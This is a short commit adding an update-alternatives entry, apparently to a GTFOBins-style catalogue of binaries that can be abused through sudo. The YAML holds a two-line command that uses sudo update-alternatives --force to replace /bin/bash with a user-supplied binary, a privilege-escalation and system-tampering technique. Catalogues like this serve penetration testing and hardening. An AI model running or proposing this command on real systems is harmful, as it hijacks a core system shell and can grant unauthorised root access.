Create update-alternatives.md

Use update-alternatives with sudo to replace system binaries
This commit is contained in:
Michael Gisbers 2020-11-17 17:44:46 +01:00 committed by Andrea Cardaci
parent cbfec71fa5
commit e212f23455

View File

@ -0,0 +1,8 @@
---
functions:
sudo:
- description: Replace existing binary with symlink pointing to user supplied binary
code: |
cp file_to_replace_bash /tmp/bash
sudo update-alternatives --force --install /bin/bash bash /tmp/bash 1
---